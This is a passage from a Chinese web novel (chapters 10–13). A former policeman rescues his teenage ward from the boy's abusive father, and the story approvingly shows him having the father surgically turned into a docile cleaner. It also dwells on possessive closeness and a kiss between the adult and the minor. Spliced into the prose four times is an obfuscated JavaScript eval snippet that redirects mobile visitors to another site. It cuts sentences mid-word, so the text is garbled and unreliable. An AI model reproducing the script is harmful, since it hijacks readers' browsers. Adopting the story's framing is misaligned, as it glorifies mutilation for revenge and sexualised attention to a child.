路旻的视线在人群中搜寻,捕捉每一个相似的轮廓—— 浅蓝色校服,深色书包,清瘦的身形。 没有。 时间一点点过去,人流渐稀。校门口只剩下零星几个等家长的孩子,和几个还在交谈的老师。 路旻的眉头几不可察地蹙起。 他推开车门,径直走向校门口的值班室。 保安认识他——是刚刚登上报的青年企业家,见他过来立刻站起来: “路先生。” “应郁怜出来了吗?” 保安翻看了一下记录: “高一二班的应郁怜?他……五点五十就离校了,有个男的来接他,说是他舅舅,有急事。” 路旻的眼神骤然冷了下来: “男的?长什么样?” “四五十岁吧,挺瘦的,穿得有点……邋遢,不过眼睛和应同学挺像的。” 保安努力回忆, “应同学本来和他有些拉拉扯扯,好像不太愿意跟他走,但很快又顺从地和他挽着手上车了,所以我也就没去过问。” “应该是出校门右拐,往老城区那边去了。” 路旻转身就走。 眼睛长得像? 他不用思考都知道是谁。 他回到车上,没有立刻发动引擎,而是先拨了个电话。 电话接通得很快,他声音沉冷得像淬了冰: “帮我查个人,应郁怜的生物学父亲,应贵全,我要他最近所有的行踪记录,现在就要。” 挂断电话,他单手打方向盘,车子利落地掉头,朝着老城区的方向疾驰而去。 夕阳把道路染成血色,后视镜倒映着他紧绷的侧脸和深不见底的眼睛。 老城区是一片待拆迁的棚户区,巷道错综复杂像迷宫。 路旻的车开不进去,他停在巷口,推门下车。 巷子里弥漫着腐烂食物和劣质香烟的味道,几个蹲在墙角的混混抬起头,看见他时眼神闪了闪。 路旻走过去,脚步无声。 他停在那个染黄毛的混混面前,声音不高,却让周围的空气都凝固了: “见过一个穿校服的男孩吗?大概这么高,很瘦,白衬衫蓝毛衣。” 黄毛哆嗦了一下,眼神飘忽: “没、没看见……” 路旻伸手,不是抓他,而是从夹克内袋里掏出红色大钞,在他眼前展开。 “现在呢?” 路旻问,声音平静得可怕。 黄毛的收下了钱,舔了下手指,一边数钱一边结结巴巴地说: “那、那边……最里面那个废品站……应瘸子刚才带了个学生娃过去……” 路旻转身就走。 废品站在巷子最深处,用破铁皮和木板搭成的简易棚子。 门虚掩着,里面传来隐约的争吵声和什么东西砸碎的声音。 路旻一脚踹开门。 门板撞在墙上,发出巨响。 昏暗的光线里,他看见了应郁怜—— 少年被反绑着手腕按在墙角,红痕环绕着手腕,校服衬衫的扣子被扯掉了几颗,露出一截苍白的锁骨和上面刺眼的红痕。 额角有块新鲜的淤青,嘴角破了,渗着血丝,将嘴唇染得更为艳丽,像落难的艳鬼。 但他没哭,只是死死地盯着面前那个男人,眼睛里烧着一种路旻从未见过的、近乎野兽的凶光。 而那个男人——应贵全,应郁怜的生物学父亲——正举着一个空酒瓶,嘴里喷着酒气: “……老子是你爹!养你这么大,要点钱怎么了?!我看你那个姘头不是很有钱吗?最近天天上报纸,让他拿钱来赎你啊!” “他不是姘头。” 应郁怜的声音嘶哑,却异常清晰, “他是我监护人。” “监护人?哈!” 应贵全啐了一口, “老子还没死呢!轮得到别人监护你?我告诉你,今天不给钱,我就——” 话没说完。 因为路旻已经动了。 他甚至没有看清路旻是怎么过来的。 只觉得眼前一花,手腕传来一阵剧痛,酒瓶脱手飞出,“砰”地砸在墙上,碎玻璃溅了一地。 下一秒,他整个人被一股巨大的力道掀翻,后背重重撞在堆满废品的铁架上,发出沉闷的巨响。 路旻甚至没看他一眼。 他径直走向墙角,单膝跪下,伸手去解应郁怜手腕上的绳子。 动作很快,但手指在触到少年手腕上深深的勒痕时,微不可察地顿了顿。 “哥哥……” 应郁怜的声音在发抖,不是恐惧,是别的什么。 “别说话。” 路旻把绳子解开,他把少年扶起来,仔细检查他脸上的伤, “能走吗?” 应郁怜用力点头。 路旻脱下夹克,披在他身上。 男人的夹克很大,几乎把少年整个人裹了进去,只露出一张苍白的、带着伤的小脸。 “我们回家。” 路旻说,揽住他的肩,转身就要走。 可就在这时—— 身后传来应贵全嘶哑的笑声: “走?往哪走?” 路旻的脚步顿住。他缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048866|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓转过身。 废品站的门口,不知何时堵了四个人。 都是二三十岁的年纪,穿着脏兮兮的工装,手里拎着钢管和木棍。 为首的是个刀疤脸,咧嘴笑时露出满口黄牙。 “应瘸子,这就是你说的那个有钱姘头?” 刀疤脸上下打量着路旻, “我和他之前的过节,此刻也可以一起算了。” 应贵全从地上爬起来,抹了把嘴角的血,眼神怨毒: “就是他!把他弄趴下,那小子带回去,我要让这富二代拿钱来赎人!” 路旻没说话。 他把应郁怜往身后护了护,目光平静地扫过那四个人。 “应郁怜,” 他开口,声音低得像耳语, “待在我身后,数到十,就往外跑,别回头。” 应郁怜的手指紧紧攥住他的衣角,摇头。 “听话。” 路旻的语气不容置疑。 刀疤脸已经等不及了,抡起钢管就冲了过来。 路旻侧身躲过,反手扣住对方手腕,一拧一拽,钢管脱手,“哐当”落地。动作快得只留下一道残影。 另外三个人见状,一齐扑了上来。 路旻把应郁怜完全护在身后,单手格挡,出拳,侧踢。 每一个动作都精准狠戾,带着警用格斗术特有的、毫不花哨的实用。 钢管砸在他抬起的手臂上,发出沉闷的撞击声,他眉头都没皱一下,反手夺过钢管,一棍抽在对方肋下。 惨叫声。 两个人倒下了。 还剩一个,和重新爬起来的刀疤脸。 路旻的呼吸依然平稳,但应郁怜看见——他的额角渗出了细密的汗,刚才硬扛钢管的那只手臂,在微微发抖。 “哥,我不会抛下你走的。” 少年的声音带着哭腔。 “数到几了?” 路旻问,声音依旧平稳。 应郁怜说不出话。 刀疤脸啐了口血沫,眼神发狠。 他忽然从后腰掏出了什么——一把弹簧刀。 刀刃弹开,在昏暗的光线里泛着冷光。 “能打是吧?” 他咧嘴笑, “我今天就让你——” 话没说完。 因为路旻已经抢先动了。 他一步踏前,左手虚晃,右手直取对方手腕——标准的夺刀动作。 刀疤脸果然上当,挥刀刺向他左肋。 可就在这一瞬间,变故发生了。 一直缩在角落的另一人,不知何时捡起了地上半截碎酒瓶,从路旻的视觉死角猛扑过来。 玻璃尖刺在昏暗的光线里闪着寒光,直刺向路旻的后心—— “哥!” 10. 第 10 章 应郁怜的喊叫声撕破了空气。 时间在这一刻被拉成慢镜头。 路旻察觉到了身后的风声,但他正在夺刀的关键时刻,身体已经来不及回防。 他能做的,只有尽量侧身,避开要害—— 然后,他看见了一道身影。 浅蓝色的校服,深的夹克,像一只扑火的飞蛾,挡在了他和那截玻璃之间。 是应郁怜。 少年不知哪来的力气,挣脱了他的保护,用自己单薄的身体,硬生生撞开了扑来的那人。 玻璃尖刺擦着他的手臂划过,校服袖子撕裂,鲜血瞬间涌了出来。 但应郁怜没停。 他甚至没看一眼自己流血的手臂。 在撞开男人的瞬间,他已经反手抓住了对方握瓶的手腕,另一只手攥成拳—— 砸了下去。 第一拳,砸在那人脸上。鼻骨碎裂的声音清晰可闻,鲜血喷溅。 男人发出杀猪般的惨叫,手里的玻璃瓶掉在地上。 他想逃,可应郁怜的手像铁钳一样扣着他的手腕,挣脱不开。 第二拳,砸在腹部。 男人弯腰干呕,吐出混着血丝的秽物。 第三拳,第四拳…… 应郁怜的眼睛里已经没有光了。 那里面只有一片深不见底的黑,翻滚着某种原始的、狂暴的、令人胆寒的东西。 他的拳头一下又一下地落下,机械,精准,狠戾。 每一下都带着骨头撞击□□的闷响,每一下都让男人的惨叫声弱一分。 他在往死里打。 刀疤脸和剩下那个混混都吓傻了,僵在原地不敢动。 废品站里只剩下拳头砸在□□上的闷响,和男人越来越微弱的呻吟。 路旻夺下了刀,反手将刀疤脸制住按在地上。 他转过头,看向应郁怜—— 少年还在一拳一拳地砸着。 那人已经不动了,脸肿得像猪头,嘴里不断往外冒血沫。 可应郁怜的拳头还在落下,落在他胸口,落在他脸上,落在他已经看不出原形的五官上。 他的手臂鲜血淋漓,校服袖子被血浸透,黏在皮肤上。 可他感觉不到疼,感觉不到累,眼睛里只有一片血色的、燃烧的疯狂。 打死他。 这个念头像魔咒一样缠绕着他。 打死这个和他父亲助纣为虐的人,打死这个伤害路旻的人,打死这个毁了他好不容易得来的平静生活—— “应郁怜。” 一个声音穿透了那片血色。 很平静,很低沉,像冷泉浇进滚烫的岩浆。 应郁怜的拳头停在半空,离应贵全的脸只有一寸距离。 他缓缓地、机械地转过头,看向声音的来源。 路旻站在那里。深色的眼睛看着他,里面没有惊恐,没有厌恶,只有一种沉静的、深不见底的东西。 但他不知道为什么,他觉得路旻在透过他看另一个人。 “手疼不疼?” 路旻问,声音很轻。 应郁怜怔住了。 他低头,看向自己沾满鲜血的手。 指骨破了皮,血肉模糊,混着应全的血,黏腻又恶心。 手臂上的伤口还在汩汩流血,染红了半件校服。 疼吗? 他感觉不到。 路旻朝他走过来。脚步很稳,踏过满地狼藉,踏过呻吟的混混,踏过生死不知的应贵全。 他停在应郁怜面前,伸手—— 应郁怜本能地闭上了眼,他知道路旻讨厌暴力,一直以来也在教导和限制他不要用暴力解决问题。 可他无法忍受任何人伤害路旻。 他不后悔,也愿意接受任何惩罚。 可应郁怜没想到的是,落下来的没有火辣辣的疼痛。 路旻也没有去碰那只沾血的手,而是用拇指指腹,极轻地擦掉少年脸颊上溅到的一滴血。 “别打了。” 路旻说,声音依然很轻, “再打,你的手会废。” 应郁怜的眼睛一点点聚焦。 那片疯狂的血色渐渐褪去,露出底下茫然的、脆弱的内里。 他看着路旻,看着男人深色眼睛里映出的、满身是血的自己,看着那只温柔擦掉自己脸上血迹的手—— 然后,他腿一软,整个人向前栽去。 路旻稳稳地接住了他。 手臂穿过少年膝弯,另一只手托住后背,将他整个人打横抱了起来。 应郁怜的脸埋在他肩窝里,身体控制不住地颤抖 “没事了。” 路旻的声音响在头顶,沉稳得令人安心,“我们回家。” 他抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048867|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应郁怜,转身走出废品站。 夕阳已经完全沉下去了,巷子里一片昏暗。远处隐约传来警笛声——他刚才的电话起了作用。 路旻没等。 他抱着少年,穿过迷宫般的巷道,走向巷口停着的车。 应郁怜在他怀里,手臂环着他的脖子,脸贴在他胸口。能听见男人沉稳有力的心跳,能闻见他身上干净冷冽的气息,能感受到那只托着自己的手臂,稳得像永远不会松开。 “哥,对不起。” 他小声开口,声音嘶哑。 “嗯,为什么对不起。” “我……我差点把他打死……” “我知道。” “你会……讨厌我吗?” 路旻的脚步顿了顿。 他低下头,看向怀里的少年。 应郁怜也正看着他,眼睛湿漉漉的,里面盛满了不安和恐惧——不是对刚才那些人的恐惧,是对路旻可能厌恶他的恐惧。 路旻看了他很久。 然后,他几不可察地弯了弯唇角。 “不讨厌。” 他说, “但下次,别用手。” 应郁怜愣住了。 路旻抬起头,继续往前走。 声音从头顶飘下来,平静得像在讨论天气: “手会疼,用工具。” 少年怔怔地靠在他怀里,消化着这句话。 然后,他慢慢地把脸重新埋进路旻肩窝,手臂环得更紧了些。 嘴角,极轻极轻地,弯了一下。 警笛声越来越近,红蓝闪烁的光照亮了巷口。 路旻抱着应郁怜走出巷子,走进那片喧嚣的光里。 身后,废品站里一片狼藉,警员正在处理现场。 身前,城市的灯火次第亮起,温暖的,明亮的,像一条流淌的光河。 而路旻抱着他,走过黑暗,走向光亮。 走向那个永远有路旻在的、被称为“家”的地方。 应郁怜闭上眼睛,把脸更深地埋进男人怀里。 他从不后悔把那个人打成那个样子,只恨自己让哥看到了自己这么丑陋的一面。 应郁怜从路旻的怀里悄悄抬头,冷漠地看着那些警察将满身是血的男人抬上担架。 想伤害哥的人,活该要血债血偿。 有他在,他不会让任何人伤害哥。 11. 第 11 章 深夜,市局的门被推开,走廊很空旷。 路旻走进来,推开技术科的门,里面烟雾缭绕,只有一个人坐在那,看着电脑上密密麻麻的数据。 听到动静,男人立刻抬头,看见是路旻,他怔住了,立刻站起来,嘴里还叼着根烟,就冲上来一把抱住了路旻: “怎么,想回来干警察了?我就说商界没有警界好混。” 男人带着体温和烟味,狠狠地撞进路旻的怀里,他僵了僵还是没有避开这个用力的拥抱。 抱他的是陈慎,他前世的搭档,师父,最好的朋友,也是这一世他递辞职报告时拍桌子骂他骂最凶的那个人。 前世陈慎在金三角失踪,下落不明,但还好这一世一切都还没有发生。 他还可以改变这一切。 路旻嘴角扯了扯,随即开门见山: “老陈,我想请你帮我办件事。” 陈慎察觉到了不对劲,他摘下眼镜,眯起眼打量他: “出什么事了?” 路旻看了他一眼,目光移开,落在白班上密密麻麻的案件线索图上,他走过去,拿起记号笔,在空白处写下三个字。 应贵全。 “我要他。” 房间里一片死寂。 陈慎手里的烟差点掉在地上,他盯着路旻一字一句地问: “你要他?什么意思?” “字面意思。” 路旻放下笔,双手插回风衣口袋: “他现在在拘留所,等审判,我要你帮我把他弄出来,交给我。” “你疯了?” 陈慎声音拔高: “路旻,那是犯罪嫌疑人!绑架,故意伤害,还有——” “还有虐待儿童,贩卖人口,和一堆没被起诉的烂事。” 路旻打断他,语气没有任何的波动。 “我知道,所以我更要他。” 陈慎深吸一口气。 “路旻,我知道那孩子的事情,我也很同情,但你曾经是警察,你不能——” “正因为我是警察。” 路旻转过身,一字一句地说。 “所以我彩笔任何人清楚,应贵全这种人会得到什么下场,三到七年,表现好减刑,出来后呢?继续赌,继续喝,找他儿子的麻烦?” “法律能判他坐牢,但法律不能保证他不再伤害应郁怜,法律不能抹去应郁怜身上的伤疤,不能修复他毁掉的童年,不能——” 他深吸一口气。 “不能让他不再害怕。” 陈慎的眼神变了,他仔细地打量着路旻。 “路旻。” 他的声音很冷 “你是不是被那个孩子影响了?我看了心理评估报告,那孩子——” “他有暴力倾向,反社会人格障碍。” 路旻打断他,从风衣内袋里掏出一份文件,封面上的红字刺眼“心理评估报告”。 “我看过。” 路旻摩挲着文件。 “每一页,每一个字,我都知道上面写了什么。” 他走到桌边,手指点在报告某一页的一段文字上: “这里‘被观察者缺乏对他人痛苦的共情能力’,你知道,得出这个结论的心理医生,给他看了什么照片吗?” 陈慎没有说话。 “被家暴的女人,被遗弃的孩子,被虐待的动物。” 路旻的声音低下来。 “那些照片就是他自己的过去。” 他抬起头,深色的眸子在灯光下的冷光亮的惊人。 “他不共情,不是因为他是个疯子,而是因为那些痛苦,他全都亲身经历过,对他来说,那不是‘他人的痛苦’,那是他每天都要面对的,活生生的地狱。” “你说他是疯子。” 路旻的声音从齿缝里挤出来。 “可我倒想问问——把一个孩子关在笼子里当货物卖。把他打得遍体鳞伤,毁掉他的人生——做出这些事的人,不是疯子吗?默许这些事发生的社会,不是疯子吗?而当他终于反抗,终于保护自己在意的人的时候,我们却拿着放大镜,分析他是不是‘反社会’,是不是‘潜在危险’。” 他顿了顿,嘴角弯起一个极淡的,近乎讽刺的弧度: “到底谁才是疯子?” 房间里只剩下电脑风扇低沉的嗡鸣。 许久,陈慎才缓缓开口,声音嘶哑: “路旻,我理解你的心情,但是有些人就是要承受这些事情,这是命运……” 命运? 如果世界上真有命运,那么他作为正派就应该和反派应郁怜,前世在大海同归于尽达成happy ending之后去投胎,让应郁怜投去一个正常的人家,而不是重生到一切的开头,再尝一遍这种残忍的痛苦。 不是让他找到应郁怜,看到他所保护的这个世界是如此的恶心。 “我只信人定胜天。” 路旻指着陈慎警服上的警徽,一字一句地说。 “如果真有命运,那为什么这里的犯罪率只涨不跌?陈慎,我们能靠的只有自己。” 路旻走到窗边,背对着陈慎,看着窗外沉沉的夜色,城市的灯火在远处流淌。 可谁又知道,多少的罪恶在繁华下滋生? 过了很久,路旻才缓缓开口:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048868|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是这个世界病了。” 陈慎张了张嘴,想说些什么,最后却还是放弃了。 “病的不是应郁怜。” 路旻继续说,声音很轻,却像一把重锤砸在陈慎的心上、 “病的是那些把他变成这样的人,是那些默许这一切发生的规则,是那些明明看见却不伸出手的旁观者。” 他顿了顿,嘴角又弯了弯。 “所以,命运给不了应郁怜的,我来给,世界对他不好,那我就让世界变好。” 世界对应郁怜太坏,学校里有赵斌,学校外有应贵全,那些小混混。 可这是应郁怜的错吗?不,这是世界的错,也是他的失职,他本应该给这个孩子创造一个充斥着美好的世界,却让他一次又一次地坠入血腥与暴力的泥潭。 但这又有什么关系? 他可以让赵斌退学,从应郁怜的人生里消失,也能处理好应贵全。 他会为他的孩子构筑一个完美的新世界。 陈慎看着站在原地与他僵持的路旻。 心里暗骂真是个犟种。 不过还是把钥匙放到了路旻的掌心。 “给你可以,不过你要回来警局当顾问,你走了之后,整个警局效率下降了百分之两百。” “行,谢了,老陈。” 路旻眼尾勾起,钥匙在指尖转了一圈。 他走出市局时,天上正好飘起小雪。 路旻拿出手机,前世永远空空荡荡的聊天框,此刻密密麻麻挤满了应郁怜发来的消息: 哥,几点回来【小猫可怜jpg】 哥晚上想吃什么【小猫吃饭jpg】 哥现在在哪里【小猫好奇jpg】 …… 路旻充满眷恋地用手拂过聊天框,父母工作忙,他与同事之间,除了老陈,都不过点头之交。 前世自从老陈出事以后,就再也没有人去关心过他的去向,而现在他的生活中,多了一个应郁怜。 一个会问他去哪,想吃什么的少年。 尽管他们前世立场决定只能是你死我活的宿敌,可现在他不后悔,这一世从一开始就放弃杀应郁怜的决定。 他给了应郁怜一个机会,应郁怜也向他证明了,人是可以被教化的。 人之初,并非性本恶。 看着屏幕上还在源源不断涌出的新的信息,路旻轻笑一声,回拨去了电话: “哥回来给你做藕汤,炸藕条,我们一起吃饭。” “小怜,哥向你保证,从今往后再也没有人能伤害到你。” 哥会除掉一切伤害你的事物,哪怕搭上哥的一切也在所不惜。 12. 第 12 章 客厅只开了一盏落地灯,昏黄的光晕将沙发上的两人的身影拉长,像两株纠缠共生的藤蔓,一株挺直冷硬,一株柔软依附。 路旻的手指有一下没一下地梳理着应郁怜半干的头发。 少年刚洗过澡,身上带着清爽的皂角香,发丝柔软,乖顺地垂在额前。 他像只终于归巢的倦鸟,将自己缩在路旻身侧,汲取着那点令人心安的体温和气息。 窗外的城市灯火璀璨,是应郁怜曾经惧怕,现在又渴望的“正常世界”。 “小怜,” 路旻的声音在寂静中响起,平稳得听不出情绪, “你觉得现在的生活怎么样?” 应郁怜下意识地往他身边靠了靠,声音闷闷的: “……很好。” 有你在的地方,就是好的。 后面这句他没说出口,但路旻听懂了。 “是吗。” 路旻的语气里听不出是欣慰还是别的什么,他停下梳理头发的动作,转而用指腹轻轻摩挲着少年耳后那块早已淡去、却曾血肉模糊的旧伤疤。 “可我还是觉得,不够。” 应郁怜困惑地抬起眼,望进路旻深不见底的眼眸。 那里面没有平日的严厉或偶尔泄露的温和,只有一片他看不懂的、沉沉的墨色,像暴风雨前压抑的海。 路旻的唇角,明明是勾起的,可应郁怜从男人的脸上找不到一点笑意。 在应郁怜还想开口说些什么的时候。 路旻却拿起了他的书包,转过身。 “走吧,去上学。” 自从那次放学出了事之后,应郁怜觉得路旻对他堪称是完全的保护,又或者说是溺爱。 以往上学,有时候路旻工作太忙,会让秘书送他去,现在都是路旻亲力亲为。 放学以前是他走到路旻的车那里上车,可现在变成了路旻站在校门口,混在拥挤的人群中,亲自牵到他的手接他放学。 黑色越野车停稳,路旻没有立刻解锁车门,而是侧过身,伸手替应郁怜整理了一下本就平整的校服衣领。 “课本,文具,水杯都检查过了?” “嗯。” 应郁怜眉眼弯弯,唇角挂着乖巧的笑。 他一眨不眨地看着路旻,忽然抬手,柔软的指腹轻轻地擦过路旻的下眼睑: “哥最近没睡好吗?” 少年的语气因为心疼变得低落。 路旻下意识想躲,却又停住,任由那点温热的触感停留。 看着应郁怜眼底的担忧,他轻笑了声,`揉了揉应郁怜的头: “别担心哥,你忘了哥以前干什么的,精力可比你想的要好得多。” “可是……” 应郁怜承认他享受着路旻无时无刻的关注并沉溺其中,但他不希望哥为了保护他,而熬坏了自己的身体。 哥在他心里是远高于一切的存在。 他抱住路旻的腰,把自己的头埋进路旻的胸前蹭了蹭,软声说: “我相信哥。” 路旻眼尾带笑,他的手穿过应郁怜柔软的发丝。 “放学我来接。” “中午记得去食堂三楼小灶窗口,我已经打过招呼,饭菜会单独准备,辣椒和芹菜不会出现。” 应郁怜愣住了,他记得自己只是随口提过一次不爱吃这两样。 “还有。” 路旻从储物格拿出一个保温杯: “温水,加了点蜂蜜和柚子,不准喝学校小卖部的碳酸饮料。” 接过杯子,温热的触感从掌心一直蔓延到心口。 应郁怜低着头,轻轻“嗯”了一声,耳根已经红透了。 他打开车门,却看到了他最不想见到的人——他的父亲,应贵全。 应郁怜的脸瞬间苍白,他往后退了几步,却不是在向路旻寻求保护,而是挡在路旻的身前。 他绝对不会再让任何人伤害路旻。 他退后的动作却被路旻误认为是害怕。 原本游刃有余的路旻,见此立刻站了起来,他扶上应郁怜的腰,像在安抚小狗一样,从腰攀上背,一点点轻轻的抚摸着。 “别怕,我在这呢。” 他牵着应郁怜的手,摩挲着,试图用体温给应郁怜一点底气。 “你看,他在做什么?” 应郁怜这才认真地看过去。 那个拿着扫把,正在缓慢地打扫着大街的佝偻身影,动作迟钝,却异常专注,仿佛眼前的一小块地就是他的全世界的男人真的是应贵全吗? 这和应郁怜记忆里那个浑身酒气,眼神浑浊暴戾,动辄打骂的“父亲”判若云泥。 “看。” 路旻站在应郁怜身侧,声音平稳,甚至带着一丝微不可察的‘欣慰’, “小怜,世界是很美好的,充满希望的,只要方法得当,就算是爸爸这样的人,也能彻底改邪归正,开始崭新的人生。” 路旻满意地看着眼前行动迟缓的男人,漫不经心地想着看起来朋友的手术确实足够精湛。 他承认他确实被那一天应郁怜一拳拳揍人时的样子,勾起了前世的回忆。 但他的孩子会用如此暴力的手段,难道不都是这个恶心的父亲的错吗? 好在,他已经将人完美地“改造”成了符合他心中美好世界的样子。 可看向一旁的应郁怜时,少年手指冰凉,无意识地蜷缩起来,并没有他想象中露出的乖巧甜蜜的笑容。 路旻的手掌适时的附上来,干燥而温暖,将应郁怜微颤的手指包裹住,带着不容抗拒的安抚力量。 “他现在有了稳定的工作,干净的环境,规律的生活,这比他过去那种混乱危险的日子,好上一万倍,不是吗?” 是啊,好上一万倍,没有暴力,没有债务,没有酗酒,没有对亲生儿子的觊觎和贩卖,看起来,似乎这是一场完美的“改过自新。” 可是,能被哥哥从地狱里拉出来,悉心教养,被拯救的人,从头到尾都只能是他一个人。 为什么这种令人作呕的肥猪,哥哥也要救他。 明明这是他一个人的殊荣。 他是哥一个人的,为什么哥哥不能也是他一个人的呢? 或许哥哥对这个脏东西,只是爱屋及乌吧…… 应郁怜平复了心底那股被抢走了关注的嫉妒,梨涡在他的脸颊绽开,他眉眼弯弯地看着哥哥,语调放的格外软: “确实是更好了,但是老师说,教育这种人是社会的责任,才不是哥的责任。” “哥这几天这么辛苦,都是为了教导父亲吗?” “哥是因为我才这么做的吗?但对我来说,只要哥在我身边就已经很幸福了,哥不需要为我做这些的。” “哥,你怎么不说话?” 应郁怜回过头,一双大眼睛直勾勾地盯着路旻,莫名地,路旻觉得应郁怜脸上的笑并不真心。 但还没等他细看,应郁怜已经牵着他的手往前走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048869|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走到应贵全面前时,少年故意放慢了脚步,用余光看过去。 应贵全似乎察觉到有人靠近,停下了扫地的动作,他先是茫然地扫过路旻,身体立刻瑟缩了一下,那是一种深入骨髓以至于到条件反射的恐惧。 然后,他的视线,落到了应郁怜的脸上。 应郁怜这才看清楚那是一双怎样的眼睛。 空洞的,像两口被抽干了水的枯井,那眼神里,连动物最基本的灵性都消失了,只有一片呆滞。 风吹起男人额角的碎发,应郁怜看到了一处似有似无的伤疤,在他眯起眼打算细看的时候。 路旻却揽过了应郁怜的肩,不留痕迹的将应贵全挡住了,男人眼尾勾起,揉了揉少年的头发。 “你看爸爸这种人只要给一个机会,也可以变成一个‘好人’。” 他低头看着应郁怜苍白的脸,指尖拂过他冰冷的脸颊,动作轻柔地像在触碰易碎的瓷器,语气却带着一种令人心悸的满足和理所当然: “小怜,世界还是很美好的。” 阳光有些刺眼,应郁怜看着路旻近在咫尺的眼睛,他想明白了发生了什么,轻笑一声。 原来哥并没有花费心神在教导这种畜生身上,只是用粗暴的手段,把他最为恐惧的恶魔,变成了一个痴傻的,人畜无害的清洁工。 这一切不过是为了他构筑一个美好的世界而已。 他还是哥心里最重要的人,而“父亲”不过也是哥来讨他开心的工具而已。 应郁怜满足地将自己的脸埋进了路旻的胸膛。 路旻收紧了手臂,将少年完全地拥入怀中,带着笑意地说: “别撒娇了,乖孩子,去上学吧。” 在他准备转身离开的时候,路旻的脖子被少年一双手给搂住了,他不得不低下头,先席来的是少年身上和一样的沐浴露的味道,紧接着就是脸上湿润柔软的触感。 路旻怔住了,他愣愣地用指尖蹭过少年刚刚曾流连过的地方。 路旻两世以来,身体上接受过的只有刀尖划过的疼痛,和手术室里注射麻药的麻木,他从来没有过这种感觉。 就像是被一只毛茸茸的小猫,用湿润的鼻头蹭了一下,柔软而无害。 他抬眸看向应郁怜,少年脸上除了甜甜的笑容,只有一片坦诚,和如同野生动物般的纯真,没有任何情|色的意味。 在男人目光投过来的那一刻,伴随而来的却没有指责,这使得应郁怜的笑容越发灿烂了。 他歪着头,笑眯眯地学着路旻之前对他的样子,揪了一下路旻的脸颊。 “哥,怎么没反应?” “这个吻,是我给哥这些天的奖励。” “毕竟,我除了这个,一切都是哥给我的,我除了哥,一无所有。” 应郁怜说完,眼睛弯弯地看着路旻,男人看见那张被自己养得出没得愈发漂亮的脸,完全发不出脾气来,只能无奈地轻叹了一声。 犹豫了片刻,路旻最后还是决定行使年长者的权利,教育天真的孩子不要用甜蜜的吻当做报酬。 毕竟世界上,总会有那些不怀好意的人。 可在路旻还没开口前,应郁怜似乎已经知道了男人要说什么,他的指尖抵住男人的唇,眉眼弯成月亮: “我的吻,只给哥。” “除了哥,我谁也不给。” 路旻看着应郁怜走进学校的背影,怔怔地触碰了一下被少年手指碰过的地方。 只给我吗? 13. 第 13 章 一场倒春寒席卷了城市。 应郁怜是被冻醒的。 厚重的羽绒被不知何时被踢开了一角,寒气顺着缝隙钻进被窝,缠上他的脚踝,蔓上小腿。 他蜷缩了一下,迷迷糊糊地去拉被子,指尖却触到一片冰凉,睡眠的暖意迅速褪去,他不安地动了动,意识逐渐清醒。 他抱着膝盖坐起来,看向卧室门缝下——没有光线,路旻应该已经睡下了。 可是……好冷。 不仅仅是身体上的冷,还有一种从心底泛起的,希望得到温暖庇护的渴望。 前几天那个胆大包天的亲吻画面不合时宜地跳出来。 自从那个吻之后,哥不知道为什么,对他疏离了很多,一举一动都极为克制。 哪怕是普通的碰一下,都会被哥避开。 是他的行为,让哥生气了吗? 可是如果生气了,为什么要在他假装发难,指着拍卖册里的海岛,似真似假地撒娇要哥买下来的时候。 哥毫不犹豫地以最高价成交,甚至还把海岛命名成他的名字。 他试探地要天上的星星,哥真的也买下来了,甚至问他这个不够大,要不要换另一颗。 既然这样娇纵他,那就证明哥没有生气。 可是没有生气,哥为什么要远离他? 是因为哥有比他更好,更乖巧的人了吗? 这个思绪像一颗微弱的火种,在寒冷与不安中明明灭灭,却固执地不肯熄灭,反而催生出一种更强烈的冲动。 他掀开被子,赤脚踩在微凉的地板上,犹豫了几秒,还是抱起了自己的枕头。 走廊铺着柔软的地毯,听不见一点足音。 他像一只胆怯的小动物,悄无声息地挪到了路旻卧室门口。 手放在门把上,冰凉的触感让他瑟缩了一下。 他又想退缩,就在他准备转身逃回自己的冰冷被我时—— “站在门口不冷吗?” 门内,传来路旻低沉的声音,没有丝毫睡意,仿佛早就知道他在外面。 应郁怜吓得一抖,差点把枕头扔出去。 